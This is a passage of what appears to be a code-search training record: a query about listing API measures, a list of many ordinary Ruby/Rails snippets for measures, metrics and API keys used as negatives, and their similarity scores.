(@medusa_log_writer != nil)\n if collection_name != nil && !collection_name.empty?\n @medusa_log_writer.write_medusa_log(collection_name, fields, @time)\n else\n @medusa_log_writer.write_medusa_log(MedusaLogWriter::CONST_CLUSTER_SUMMARY, fields, @time)\n end\n end\n\n # Write the metrics to Graphite\n if (@graphite_writer != nil)\n if collection_name != nil && !collection_name.empty?\n @graphite_writer.write_collection_specific_metric(\"#{mbean_type}.\"+metric_key, GraphiteWriter::CONST_CORE_SUMMARY, metric_avg_aggr_value.to_s, @time, collection_name)\n else\n @graphite_writer.write_metric(\"#{mbean_type}.\"+metric_key, GraphiteWriter::CONST_CORE_SUMMARY, metric_avg_aggr_value.to_s, @time)\n end\n\n end\n\n end\n end\n end", "def delete_measure(measure_id)\n raise ArgumentError,\"measure_id cannot be nil\" unless measure_id\n exec_req_and_parse_response \"/measure/delete\", {id: measure_id}\n end", "def update\n respond_to do |format|\n if @unit_measure.update(unit_measure_params)\n format.html { redirect_to @unit_measure, notice: 'Unit measure was successfully updated.' }\n format.json { render :show, status: :ok, location: @unit_measure }\n else\n format.html { render :edit }\n format.json { render json: @unit_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_weather_measure\n @weather_measure = WeatherMeasure.find(params[:id])\n end", "def create\n @measure_group = MeasureGroup.new(params[:measure_group])\n\n respond_to do |format|\n if @measure_group.save\n format.html { redirect_to @measure_group, notice: 'Measure group was successfully created.' }\n format.json { render json: @measure_group, status: :created, location: @measure_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @measure_group.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @unit_of_measure = UnitOfMeasure.create(params[:unit_of_measure])\n get_data\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def update\n @unit_of_measure = UnitOfMeasure.find(params[:id])\n @unit_of_measure.update_attributes(params[:unit_of_measure])\n get_data\n end", "def update\n metric.update_attributes(update_params)\n\n respond_with(metric)\n end", "def set_metric\r\n @metric = Metric.find(params[:id])\r\n end", "def set_measurement(name, value, unit = \"\")\n @measurements[name] = { value: value, unit: unit }\n end", "def v2_measurements_id_put_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MeasurementsApi.v2_measurements_id_put ...\"\n end\n # verify the required parameter 'id' is set\n fail ArgumentError, \"Missing the required parameter 'id' when calling MeasurementsApi.v2_measurements_id_put\" if id.nil?\n # resource path\n local_var_path = \"/v2/measurements/{id}\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = ['quantimodo_oauth2']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20012')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MeasurementsApi#v2_measurements_id_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def load_measure(measure_file, map_fn_file)\n map_fn = File.read(map_fn_file)\n measure = JSON.parse(File.read(measure_file))\n measure['map_fn'] = map_fn\n measure\n end", "def metric(name,type,value)\n @metrics[name] = {\n :type => type,\n :value => value\n }\nend", "def reported_result(measure)\n (reported_results || {})[measure.key] || {}\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def create_metric_using_hash(endpoint, id, tenant_id)\n endpoint.create(id: id, dataRetention: 123, tags: { some: 'value' }, tenantId: tenant_id)\n metric = endpoint.get(id)\n\n expect(metric).to be_a(Hawkular::Metrics::MetricDefinition)\n expect(metric.id).to eql(id)\n expect(metric.data_retention).to eql(123)\n expect(metric.tenant_id).to eql(tenant_id)\n end", "def v2_measurements_id_put(id, opts = {})\n data, _status_code, _headers = v2_measurements_id_put_with_http_info(id, opts)\n return data\n end", "def set_metric\n @metric = Metric.find(params[:id])\n end", "def set_metric\n @metric = Metric.find(params[:metric_id])\n end", "def create\n @irradiance_measure = IrradianceMeasure.new(irradiance_measure_params)\n\n respond_to do |format|\n if @irradiance_measure.save\n format.html { redirect_to @irradiance_measure, notice: 'Irradiance measure was successfully created.' }\n format.json { render :show, status: :created, location: @irradiance_measure }\n else\n format.html { render :new }\n format.json { render json: @irradiance_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def measurements_id_put(id, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: MeasurementApi#measurements_id_put ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling measurements_id_put\" if id.nil?\n \n # resource path\n path = \"/measurements/{id}\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n \n\n auth_names = ['quantimodo_oauth2']\n result = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'inline_response_200_2')\n if Configuration.debugging\n Configuration.logger.debug \"API called: MeasurementApi#measurements_id_put. Result: #{result.inspect}\"\n end\n return result\n end", "def create\n\t\t@report = Report.create(params[:report])\n\t\t\n\t\t@existing = Report.where( :cell_id => params[:report][:cell_id] ).first\n\t\tif @existing\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { redirect_to @existing, notice: 'Report already existed.' }\n\t\t\t\tformat.json { render json: @existing, status: :ok }\n\t\t\tend\n\t\telse\n\t\t\trespond_to do |format|\n\t\t\t\tif @report.save\n\t\t\t\t\tformat.html { redirect_to @report, notice: 'Report was successfully created.' }\n\t\t\t\t\tformat.json { render json: @report, status: :created, location: @report }\n\t\t\t\telse\n\t\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\t\tformat.json { render json: { :errors => @report.errors, :data => @report }, status: :unprocessable_entity }\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def destroy\n @measure = Measure.find(params[:id])\n\n respond_to do |format|\n if @measure.destroy\n format.html { redirect_to measures_url,\n notice: (crud_notice('destroyed', @measure) + \"#{undo_link(@measure)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to measures_url, alert: \"#{@measure.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def measure_for_device(device_id, measure_id)\r\n device = Device.where(:name => device_id)\r\n # use first on device to get record from association, then\r\n # use first again on measures to get measure record\r\n device.first.measures.where(:name => measure_id).first if device.any?\r\n end", "def create\n @metric = Metric.new(metric_params)\n\n respond_to do |format|\n if @metric.save\n format.html { redirect_to @metric, notice: 'Metric was successfully created.' }\n format.json { render :show, status: :created, location: @metric }\n else\n format.html { render :new }\n format.json { render json: @metric.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def update\n @measurement = Measurement.find(params[:id])\n\n respond_to do |format|\n if @measurement.update_attributes(params[:measurement])\n format.html { redirect_to body_measurement_path(@measurement), notice: 'Measurement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @measurement.errors, status: :unprocessable_entity }\n end\n end\n end", "def add(event) \n v = event[@measure]\n return if v.zero?\n if @log_transform\n v = 500 * Math.log(v)\n end\n @values << v\n @min = v if @min.nil? || @min > v\n @max = v if @max.nil? || @max < v\n if @t \n case\n when v >= @t * 4 then @apdex_f += 1\n when v >= @t then @apdex_t += 1\n end\n end\n @total += v\n @sum_of_squares += v**2\n l = (v == 0 ? 0 : Math.log(v))\n @sum_of_logs += l\n @sum_of_log_squares += l**2\n if @histogram_buckets\n @histogram_buckets[[(v / @histogram_bucket_size).to_i, @histogram_bucket_count].min] += 1\n end\n\n # Transaction name, or other dimension:\n label = event[@primary_dim]\n @breakdown[label] ||= [0, 0]\n @breakdown[label][0] += 1\n @breakdown[label][1] += v\n end", "def set_measurement\n @measurement = Measurement.find(params[:id])\n end", "def create\n @measurement = Measurement.new(measurement_params)\n\n respond_to do |format|\n if @measurement.save\n format.html { redirect_to @measurement, notice: 'Measurement was successfully created.' }\n format.json { render :show, status: :created, location: @measurement }\n else\n format.html { render :new }\n format.json { render json: @measurement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @measurement = Measurement.new(measurement_params)\n\n respond_to do |format|\n if @measurement.save\n format.html { redirect_to @measurement, notice: 'Measurement was successfully created.' }\n format.json { render :show, status: :created, location: @measurement }\n else\n format.html { render :new }\n format.json { render json: @measurement.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_meter_record\r\n @meter_record = MeterRecord.find(params[:id])\r\n end", "def []=(key, value)\n @metrics[key] = value\n end", "def add(reg_id)\n reg_a.cell_add!(reg(reg_id))\n end", "def create\n @medium_map_cell = MediumMapCell.new(params[:medium_map_cell])\n\n respond_to do |format|\n if @medium_map_cell.save\n format.html { redirect_to @medium_map_cell, notice: 'Medium map cell was successfully created.' }\n format.json { render json: @medium_map_cell, status: :created, location: @medium_map_cell }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medium_map_cell.errors, status: :unprocessable_entity }\n end\n end\n end", "def metric_update(statuspage_id, metric_id, day_avg, day_start, day_dates, day_values,\n week_avg, week_start, week_dates, week_values,\n month_avg, month_start, month_dates, month_values)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['metric_id'] = metric_id\n data['day_avg'] = day_avg\n data['day_start'] = day_start\n data['day_dates'] = day_dates\n data['day_values'] = day_values\n data['week_avg'] = week_avg\n data['week_start'] = week_start\n data['week_dates'] = week_dates\n data['week_values'] =week_values\n data['month_avg'] = month_avg\n data['month_start'] = month_start\n data['month_dates'] = month_dates\n data['month_values'] = month_values\n\n request :method => :post,\n :url => @url + 'metric/update',\n :payload => data\n end", "def create\n @goldmeasure = Goldmeasure.new(goldmeasure_params)\n\n respond_to do |format|\n if @goldmeasure.save\n format.html { redirect_to @goldmeasure, notice: 'Goldmeasure was successfully created.' }\n format.json { render :show, status: :created, location: @goldmeasure }\n else\n format.html { render :new }\n format.json { render json: @goldmeasure.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @unit_of_measure = UnitOfMeasure.new(unit_of_measure_params)\n @unit_of_measure.created_by = current_user.id\n\n respond_to do |format|\n if @unit_of_measure.save\n format.html { redirect_to unit_of_measures_path, notice: 'Unit of measure was successfully created.' }\n format.json { render :show, status: :created, location: @unit_of_measure }\n else\n format.html { render :new }\n format.json { render json: @unit_of_measure.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @measure_group = MeasureGroup.find(params[:id])\n\n respond_to do |format|\n if @measure_group.update_attributes(params[:measure_group])\n format.html { redirect_to @measure_group, notice: 'Measure group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @measure_group.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.57950705", "0.5664046", "0.5627946", "0.5536319", "0.55269486", "0.55268526", "0.54663694", "0.5388411", "0.532066", "0.523672", "0.51744306", "0.51744306", "0.51744306", "0.5152329", "0.50993246", "0.5095497", "0.50752085", "0.50752085", "0.50652915", "0.4980319", "0.49411654", "0.49408993", "0.49377072", "0.48917586", "0.4846238", "0.48241198", "0.48196718", "0.48104087", "0.47989273", "0.47762477", "0.47718647", "0.47516766", "0.4741228", "0.47288746", "0.46913722", "0.46801043", "0.46798342", "0.46738502", "0.4653151", "0.46475345", "0.46059203", "0.45893237", "0.45456287", "0.45389295", "0.45325014", "0.45200667", "0.45187515", "0.45167294", "0.45158347", "0.45122626", "0.45059747", "0.45043695", "0.4500618", "0.4489115", "0.44848603", "0.44714805", "0.44684106", "0.44660443", "0.44559878", "0.4452166", "0.4446782", "0.44467112", "0.44436187", "0.44341233", "0.4423547", "0.441888", "0.44174773", "0.441249", "0.44043475", "0.439855", "0.439855", "0.43960485", "0.43942142", "0.4393457", "0.4387063", "0.43762752", "0.434816", "0.4306919", "0.43026194", "0.43008745", "0.4290027", "0.42825526", "0.42825526", "0.42825526", "0.42825526", "0.42825526", "0.42825526", "0.4262841", "0.42513445", "0.42404523", "0.4240363", "0.4240363", "0.42371812", "0.42354426", "0.42317742", "0.4229108", "0.4228828", "0.42270952", "0.42004386", "0.4194981" ]
0.78555423
0
List the measures added with a given API key.
def list_measures exec_req_and_parse_response "/measure/list" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @kr_measures = KrMeasure.all\n end", "def stats(api_key = nil)\n if api_key && (!api_key.is_a? String)\n error = InvalidOptions.new(['API key(String)'], ['API key(String)'])\n raise error\n end\n\n # Disable cache for API key status calls\n get_request('/stats/', {:key => api_key}, true)\n end", "def index\n @apikeys = Apikey.all\n end", "def index\n @apikeys = Apikey.all\n end", "def get_metrics_list\n\t\ttest_file\n\t\t[@metric]\n end", "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end", "def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end", "def show\n keys = ApiKey.where(user_id: current_user.id)\n @apikeys = []\n keys.each do |key|\n @apikeys << {'access_token' => key.access_token, 'qr' => RQRCode::QRCode.new(key.access_token, :size => 4, :level => :h)}\n end\n end", "def index\n @measures = current_user.measures\n end", "def usage_measures\n request = get '/1/reporting/measures'\n convert_to_mashes request\n end", "def measures\n return [] if !measure_ids\n self.bundle.measures.in(:hqmf_id => measure_ids).order_by([[:hqmf_id, :asc],[:sub_id, :asc]])\n end", "def list(key, **options)\n\t\t\t\tjson = get_request(options.merge(:method => 'list',\n\t\t\t\t\t\t\t\t\t\t\t\t :video_key => key))\n\t\t\t\tres = JSON.parse(json.body)\n\t\t\t\t\n\t\t\t\tif json.status == 200\n\t\t\t\t\tresults = process_list_response(res)\n\t\t\t\telse\n\t\t\t\t\traise \"HTTP Error #{json.status}: #{json.body}\"\n\t\t\t\tend\n\n\t\t\t\treturn results\n\t\t\tend", "def index\n @unit_measures = UnitMeasure.all\n end", "def api_keys\n rest_query(:api_key)\n end", "def index\n @api_keys = ApiKey.includes(:user)\n end", "def list_measures(measures_dir)\n puts 'Listing measures'\n if measures_dir.nil? || measures_dir.empty?\n puts 'Measures dir is nil or empty'\n return true\n end\n\n puts \"measures path: #{measures_dir}\"\n\n # this is to accommodate a single measures dir (like most gems)\n # or a repo with multiple directories fo measures (like OpenStudio-measures)\n measures = Dir.glob(File.join(measures_dir, '**/measure.rb'))\n if measures.empty?\n # also try nested 2-deep to support openstudio-measures\n measures = Dir.glob(File.join(measures_dir, '**/**/measure.rb'))\n end\n puts \"#{measures.length} MEASURES FOUND\"\n measures.each do |measure|\n name = measure.split('/')[-2]\n puts name.to_s\n end\n end", "def api_keys; rest_query(:api_key); end", "def api_keys; rest_query(:api_key); end", "def index\n @unit_of_measures = UnitOfMeasure.all\n end", "def show_key_associated_data(collection, data_keys)\n show do\n title \"Measured Data\"\n note \"Listed below are the data collected\"\n note \"(Concentration (ng/ul), RIN Number)\"\n table display_data(collection, data_keys)\n # TODO add in feature for tech to change QC Status\n end\n end", "def load_dashboard_from_api\n logger.info 'Loading dashboard...'\n max_elements = 5\n username = current_user.keytech_username\n ms_from_epoch = 7.day.ago.to_i * 1000\n from_date = \"/Date(#{ms_from_epoch})/\"\n options = { fields: \"created_by=#{username}:changed_at>#{from_date}\", size: max_elements, sortBy: 'changed_at,desc' }\n\n self_created = keytechAPI.search.query(options)\n\n options = { fields: \"created_by=#{username}:changed_at>#{from_date}\",\n size: max_elements,\n sortBy: 'changed_at,desc' }\n self_changed = keytechAPI.search.query(options)\n logger.debug \"Changed items: #{self_changed}\"\n logger.debug \"Created Items: #{self_created}\"\n element_list = (self_created.elementList + self_changed.elementList)\n logger.info 'Finished loading dashboard'\n element_list.sort_by!(&:changedAt)\n element_list.reverse\n end", "def get_event_stats ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}/stats\"\n end", "def index\n @k_measurements = KMeasurement.all\n end", "def index\n @admin_sub_metrics = Admin::SubMetric.all\n end", "def collect_data(api_key, ids)\n data = []\n errors = []\n for id in ids\n puts \"collecting data for \" + id.to_s\n champ_url = \"https://na.api.pvp.net/api/lol/static-data/na/v1.2/champion/\" + id.to_s\n champ_url += \"/?api_key=\" + api_key\n response = HTTParty.get(champ_url)\n case response.code\n when 200\n response_hash = response.parsed_response\n name = response_hash[\"name\"]\n title = response_hash[\"title\"]\n data += [[id, name, title]]\n when 404\n puts \"error 404\"\n errors += [id]\n data += [[id, \"no_name\", \"no_title\"]]\n end\n end\n return data\nend", "def list_alarms(cloudwatch_client)\n response = cloudwatch_client.describe_alarms\n if response.metric_alarms.count.positive?\n response.metric_alarms.each do |alarm|\n puts alarm.alarm_name\n end\n else\n puts \"No alarms found.\"\n end\nrescue StandardError => e\n puts \"Error getting information about alarms: #{e.message}\"\nend", "def get_metrics_list\n\t\turi = \"#{@base_url}/data\"\n\t\tresults = json_metrics_list uri\n\t\tlist = []\n\t\tresults[:hosts][0..@hosts_limit].each {|h|\n\t\t\thost_results = json_metrics_list \"#{uri}/#{h}/\"\n\t\t\tlist << host_results[:metrics].map{|r| \"#{h}/#{r}\"}\n\t\t}\n\t\treturn list.flatten\n\tend", "def get_champ_stats(api_key, id, attributes)\n url = \"https://na1.api.riotgames.com/lol/static-data/v3/champions\"\n url += \"/\" + id.to_s + \"?api_key=\" + api_key + \"&champData=stats\"\n response = HTTParty.get(url)\n stats = {}\n case response.code\n when 200\n stats = response[\"stats\"]\n when 404\n puts \"failed to find stats for the id \" + id.to_s\n return {}\n end\n ret_set = []\n attributes.each do |attr|\n ret_set.push(stats[attr])\n end\n puts ret_set\n return ret_set\nend", "def all_metrics\n output = `cube_info #{@fname} -l`\n output.split(\"\\n\")\n end", "def list_api_keys(opts = {})\n @transporter.read(:GET, '/1/keys', {}, opts)\n end", "def measures(cube_unique_name)\n @measures = {} if @measures.nil?\n\n @measures[cube_unique_name] ||= cube(cube_unique_name).get_measures.map do |measure|\n {\n :unique_name => measure.get_unique_name,\n :name => measure.get_caption\n }\n end\n end", "def index\n @measures = current_user.account.measures.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @measures }\n end\n end", "def all_metrics\n valid_configs = MetricSample.all.where(:project_id => id)\n return [] if valid_configs.nil?\n metrics_name_ary = []\n valid_configs.each do |config|\n metrics_name_ary << config.metric_name\n end\n metrics_name_ary.uniq\n end", "def index\n @metrics = Metric.all\n end", "def index\n limit, offset = Calculator.limit_and_offset(params)\n @key_features = KeyFeature.all.limit(limit).offset(offset).order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @key_features\n end", "def get_report(api_key, client_api_id, interval, query = \"\")\n uri = URI(API_ENDPOINT) + URI.escape(\"?api_key=#{api_key}&client_api_id=#{client_api_id}&interval=#{interval}&query=#{query}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n raise \"Server returned error #{response.code} processing your API request\" if response.code != \"200\"\n JSON.parse(response.body)\nend", "def index\n @measure_reports = MeasureReport.filter_query(query_params).includes(:author, :last_editor, performance_measure: [:key_focus_area, objective: :key_focus_area]).where(expired: false).order('key_focus_areas.name ASC, key_focus_areas_objectives.name ASC, objectives.name ASC').paginate(:page => params[:page], :per_page => 12)\n end", "def show\n skippable_fields = [:map_fns, :record_ids, :measure_attributes]\n @measure = Measure.by_user(current_user).without(*skippable_fields).find(params[:id])\n if stale? last_modified: @measure.updated_at.try(:utc), etag: @measure.cache_key\n @measure_json = MultiJson.encode(@measure.as_json(except: skippable_fields))\n respond_with @measure do |format|\n format.json { render json: @measure_json }\n end\n end\n end", "def [](key)\n @metrics[key]\n end", "def index\n @permissions = ApiKeyPermission.where(api_key_id: @key.id).order(id: :desc).page params[:page]\n end", "def index\n @irradiance_measures = IrradianceMeasure.all\n end", "def index\n @keys = ApiKey.where(user_id: current_user.id).order(id: :desc).page params[:page] # kaminari\n end", "def index\n @ballot_measures = BallotMeasure.all\n end", "def list_metrics\n define_type_on_metric_def_if_needed\n\n gauges = Hawk.metrics.gauges.query\n gauges.each { |g| g.type = 'GAUGE' }\n counters = Hawk.metrics.counters.query\n counters.each { |c| c.type = 'COUNTER' }\n strings = Hawk.metrics.strings.query\n strings.each { |c| c.type = 'STRING' }\n\n tree_root = build(::HTreeItem)\n tree_root.kind = :none\n tree_root.value = 'Metrics'\n metrics = gauges.concat counters\n metrics = metrics.concat strings\n\n ascend_sort = ->(m1, m2) { m1.id <=> m2.id }\n metrics.sort(&ascend_sort).each do |metric_def|\n icon = ::HawkHelper.metric_icon metric_def.type\n iv = ::HawkHelper.create_icon icon\n\n new_metric = build(::HTreeItem)\n new_metric.kind = :metric\n new_metric.value = metric_def.id\n new_metric.graphic = iv\n\n # Create a Metric type of Inventory\n # from the metric dev obtained from H-Metrics\n m_hash = {\n 'name' => metric_def.id,\n 'id' => metric_def.id,\n 'type' => { 'type' => metric_def.json['type'].upcase },\n # :unit => metric_def.unit\n }\n mt = create_metric_type_from_metric_def(metric_def)\n m = ::Hawkular::Inventory::Metric.new m_hash, mt\n\n new_metric.raw_item = m\n\n tree_root.children.add new_metric\n end\n # bind to the view from fxml\n @FXMLtreeView.setRoot(tree_root)\n tree_root.expanded = true\n end", "def index\n @api_v1_metrics_dashboards_segments = Api::V1::MetricsDashboardsSegment.all\n end", "def metrics_for_metric_name\n @metrics = Metric.includes(:metric_name).where(metric_name_id: metric_name_id[:id]);\n render json: @metrics.order({created_at: :asc}),include: [:metric_name], status: :ok\n end", "def index\n\n require 'net/http'\n require 'json'\n\n @measures = Measure.all.order(\"created_at DESC\")\n weatherData\n\n end", "def index\n @api_v1_exercises = Api::V1::Exercise.all\n end", "def get_ids(api_key)\n old_ids_url = \"https://na.api.pvp.net/api/lol/na/v1.2/champion?api_key=\" + api_key\n ids_url = \"https://na1.api.riotgames.com/lol/platform/v3/champions?api_key=\" + api_key\n response = HTTParty.get(ids_url)\n ids = [13]\n case response.code\n when 200\n response_hash = response.parsed_response\n champions = response_hash[\"champions\"]\n champions.each do |champ|\n ids += [champ[\"id\"]]\n end\n when 404\n puts \"404 - could not find champion list\"\n end\n return ids\nend", "def list\r\n # the base uri for api requests\r\n _query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n _query_builder << '/tickets'\r\n\r\n # validate and preprocess url\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-API-TOKEN' => Configuration.x_api_token,\r\n 'X-API-EMAIL' => Configuration.x_api_email\r\n }\r\n\r\n # append custom auth authorization\r\n CustomAuthUtility.append_custom_auth_params _headers\r\n\r\n # invoke the API call request to fetch the response\r\n _response = Unirest.get _query_url, headers: _headers\r\n\r\n # Error handling using HTTP status codes\r\n if _response.code == 401\r\n raise APIException.new 'Your API key is incorrect', 401, _response.body\r\n elsif _response.code == 400\r\n raise APIException.new 'There is an error in the parameters you send', 400, _response.body\r\n elsif _response.code == 404\r\n raise APIException.new 'Cannot find the resource specified', 404, _response.body\r\n elsif !_response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', _response.code, _response.body\r\n end\r\n \r\n # Try to cast response to list of desired type\r\n if _response.body.instance_of? Array\r\n value = Array.new\r\n _response.body.each do |item|\r\n begin\r\n value << (Ticket.from_hash(item))\r\n rescue Exception\r\n raise APIException.new \"Invalid JSON returned.\", _response.code, _response.body\r\n end\r\n end\r\n value\r\n end\r\n end", "def index\n @vspecs = @metric.vspecs.all\n end", "def get_metrics\n {\n method: \"Performance.getMetrics\"\n }\n end", "def index\n @api_v1_frequency_periods = Api::V1::FrequencyPeriod.all\n end", "def show\n render json: @measure\n end", "def index\n @metric_sources = MetricSource.all\n end", "def metricData(ak,aapId,names)\n parseUrl=URI.parse('https://api.newrelic.com/v2/applications/'+appId+'/metrics/data.json')\n uri='https://api.newrelic.com/v2/applications/'+appId+'/metrics/data.json?names'+\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend", "def index\n @pursuit_metrics = PursuitMetric.all\n end", "def list_api_keys(request_options = {})\n client.get(Protocol.index_keys_uri(name), :read, request_options)\n end", "def measures(client, var, options={})\n\t\t\t\tif options[:measures]\n\t\t\t\t\t\toptions[:measures] \n\t\t\t\telse\n\t\t\t\t\t[\"probe\",\"marker\",\"value\"]\n\t\t\t\tend\n\t\t\t\t# measure_properties(measures,var,options)\n\t\t\tend", "def initialize( api_key )\n @api_key = api_key\n @cached_requests = {}\n end", "def list(provider, resource_type, resource_name, resource_group = nil, options = {})\n resource_group ||= configuration.resource_group\n\n raise ArgumentError, \"no resource group provided\" unless resource_group\n\n url = build_url(provider, resource_type, resource_name, resource_group, options)\n\n response = rest_get(url)\n\n Azure::Armrest::ArmrestCollection.create_from_response(\n response,\n Azure::Armrest::Insights::MetricDefinition\n )\n end", "def index\n @api_v1_expenses = Api::V1::Expense.all\n end", "def api\n # Instantiate an instance of Gibbon with the API key provided to this adapter.\n # We only work with the lists api here, so namespace into that.\n Gibbon::API.new(@campaignable_api_key).lists \n end", "def keys\n ::M2X::Client::Key.list(@client, params.merge(device: self[\"id\"]))\n end", "def index\n if params[:q]\n @search = UnitOfMeasure.search(params[:q])\n @unit_of_measures = @search.result.page(params[:page]).per(current_user.list_page_size)\n else\n @search = UnitOfMeasure.search(params[:q]) \n @unit_of_measures = @search.result.where(validity: true).page(params[:page]).per(current_user.list_page_size)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unit_of_measures }\n end\n end", "def get_all_metrics()\n return nil unless Config.metrics\n f = Fiber.current\n resp = metrics.find().defer_as_a\n resp.callback do |doc|\n f.resume doc\n end\n resp.errback do |err|\n raise *err\n end\n docs = Fiber.yield\n # convert ids to int\n docs.collect{|doc| doc['_id'] = doc['_id'].to_i ; doc }\n end", "def show\n @measure = current_user.account.measures.find(params[:id])\n\n @users = current_user.account.users\n\n @servers = current_user.account.servers\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @measure }\n end\n end", "def get_recordings()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/recordings\"))[0]\n end", "def show\n @measure_group = MeasureGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @measure_group }\n end\n end", "def index\n @api_v1_group_fields = Api::V1::GroupField.all\n end", "def initialize(apikey)\n @apikey = apikey\n end", "def measurements_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: MeasurementApi#measurements_get ...\"\n end\n \n # resource path\n path = \"/measurements\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'access_token'] = opts[:'access_token'] if opts[:'access_token']\n query_params[:'user_id'] = opts[:'user_id'] if opts[:'user_id']\n query_params[:'client_id'] = opts[:'client_id'] if opts[:'client_id']\n query_params[:'connector_id'] = opts[:'connector_id'] if opts[:'connector_id']\n query_params[:'variable_id'] = opts[:'variable_id'] if opts[:'variable_id']\n query_params[:'source_id'] = opts[:'source_id'] if opts[:'source_id']\n query_params[:'start_time'] = opts[:'start_time'] if opts[:'start_time']\n query_params[:'value'] = opts[:'value'] if opts[:'value']\n query_params[:'unit_id'] = opts[:'unit_id'] if opts[:'unit_id']\n query_params[:'original_value'] = opts[:'original_value'] if opts[:'original_value']\n query_params[:'original_unit_id'] = opts[:'original_unit_id'] if opts[:'original_unit_id']\n query_params[:'duration'] = opts[:'duration'] if opts[:'duration']\n query_params[:'note'] = opts[:'note'] if opts[:'note']\n query_params[:'latitude'] = opts[:'latitude'] if opts[:'latitude']\n query_params[:'longitude'] = opts[:'longitude'] if opts[:'longitude']\n query_params[:'location'] = opts[:'location'] if opts[:'location']\n query_params[:'created_at'] = opts[:'created_at'] if opts[:'created_at']\n query_params[:'updated_at'] = opts[:'updated_at'] if opts[:'updated_at']\n query_params[:'error'] = opts[:'error'] if opts[:'error']\n query_params[:'limit'] = opts[:'limit'] if opts[:'limit']\n query_params[:'offset'] = opts[:'offset'] if opts[:'offset']\n query_params[:'sort'] = opts[:'sort'] if opts[:'sort']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if 